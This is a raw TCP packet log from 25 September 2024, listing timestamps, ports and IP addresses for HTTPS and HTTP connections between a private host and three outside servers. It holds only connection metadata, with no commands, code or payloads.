Sep 25, 2024 20:49:55.954175949 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954190969 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954236031 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954240084 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954283953 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954297066 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954329967 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954339027 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954348087 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954358101 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954432011 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954444885 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954490900 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954503059 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954509020 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954513073 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:55.954538107 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:55.954549074 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:57.327537060 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:57.327641010 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:57.327656984 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.327737093 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.327845097 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.327887058 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:57.331022978 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.331125021 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:57.331233978 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.331445932 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:57.331485033 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.001043081 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.001163960 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.001635075 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.001682043 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.003550053 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.003566027 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.651774883 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.651875973 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.651896000 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.651976109 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.652144909 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:58.652189016 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:58.655127048 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:58.660033941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:58.660145998 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:58.660273075 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:58.665075064 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306701899 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306864977 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306876898 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306886911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306896925 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306910038 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306921005 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306934118 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306946039 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306957960 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.306967974 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.307018995 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.312526941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.312545061 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.312617064 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.396919966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.396931887 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.396949053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397006989 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397059917 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397120953 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397173882 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397211075 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397228956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397241116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397254944 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397269011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.397269011 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397269964 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397290945 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.397309065 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.398101091 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.398175955 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:49:59.398241997 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:49:59.495351076 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:59.495474100 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:59.495546103 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:59.496246099 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:59.496280909 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:00.149946928 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:00.150160074 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:00.153162956 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:00.153196096 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:00.154706001 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:00.154719114 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:01.057912111 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:01.057996035 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:01.058021069 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:01.058157921 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:01.095153093 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:50:01.095201969 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 20:50:01.199445009 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.204364061 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.206381083 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:01.206429958 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:01.206605911 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:01.214871883 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 20:50:01.214890003 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 20:50:01.391772985 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391789913 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391813040 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391839981 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391850948 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391853094 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.391875982 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391910076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.391910076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.391920090 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.391938925 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.392074108 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.392595053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.392607927 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.392618895 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.392652035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.392653942 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.392654896 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.392690897 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.393279076 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.393290997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.393302917 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.393336058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.393336058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.393337965 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.393358946 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.393398046 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.393505096 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394045115 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394056082 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394073009 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394094944 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394114017 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394119024 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394135952 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394139051 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394186974 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394854069 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394937038 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394972086 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394972086 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.394978046 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.394992113 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395023108 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395029068 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395029068 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395062923 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395742893 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395756006 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395768881 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395802975 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395838022 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395843983 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395858049 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.395899057 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.395931005 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.396565914 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.396624088 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482048035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482076883 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482115984 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482127905 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482126951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482126951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482141972 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482167006 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482188940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482188940 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482188940 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482213020 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482222080 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482235909 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482240915 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482274055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482300997 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482572079 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482594967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482616901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482619047 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482656002 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482656956 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482657909 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482666969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482680082 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.482712030 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.482743025 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483302116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483314991 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483330011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483342886 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483362913 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483370066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483411074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483421087 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483422041 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483436108 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483460903 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483462095 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.483474970 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.483508110 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484133959 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484179974 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484181881 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484196901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484235048 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484247923 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484266996 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484291077 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484293938 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484321117 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484332085 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484333992 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484345913 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.484370947 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.484388113 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485088110 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485100985 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485111952 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485135078 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485136032 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485150099 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485157013 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485182047 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485183001 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485204935 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485207081 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485217094 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485223055 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485239983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485657930 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485924959 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485935926 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485971928 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485974073 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.485982895 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.485994101 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486016035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486016989 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486028910 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486033916 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486056089 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486057043 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486074924 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486090899 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486794949 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486816883 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486829996 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.486978054 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.486979008 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572216034 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572242975 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572257042 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572267056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572278023 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572282076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572293043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572304964 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572318077 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572319031 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572331905 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572345018 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572359085 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572377920 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572479010 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572490931 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572504997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572511911 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572514057 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572529078 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572546005 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572669029 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572679996 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572690010 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572710991 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572731972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572753906 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572766066 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572777987 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572789907 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.572794914 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572804928 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.572824955 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573185921 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573199034 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573211908 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573223114 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573224068 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573235035 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573246956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573247910 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573259115 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573270082 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573271990 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573285103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573306084 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573657990 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573681116 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573692083 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573700905 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573729992 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573734999 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573748112 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573761940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573770046 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573776007 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573786974 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573805094 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573822975 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573843956 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573853970 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573869944 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573880911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573880911 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573894024 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.573901892 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573924065 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.573939085 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574620962 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574634075 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574646950 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574667931 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574675083 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574687958 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574688911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574702024 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574713945 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574716091 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 20:50:01.574727058 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 20:50:01.574733019 CEST	49736	80	192.168.2.5	147.45.44.104
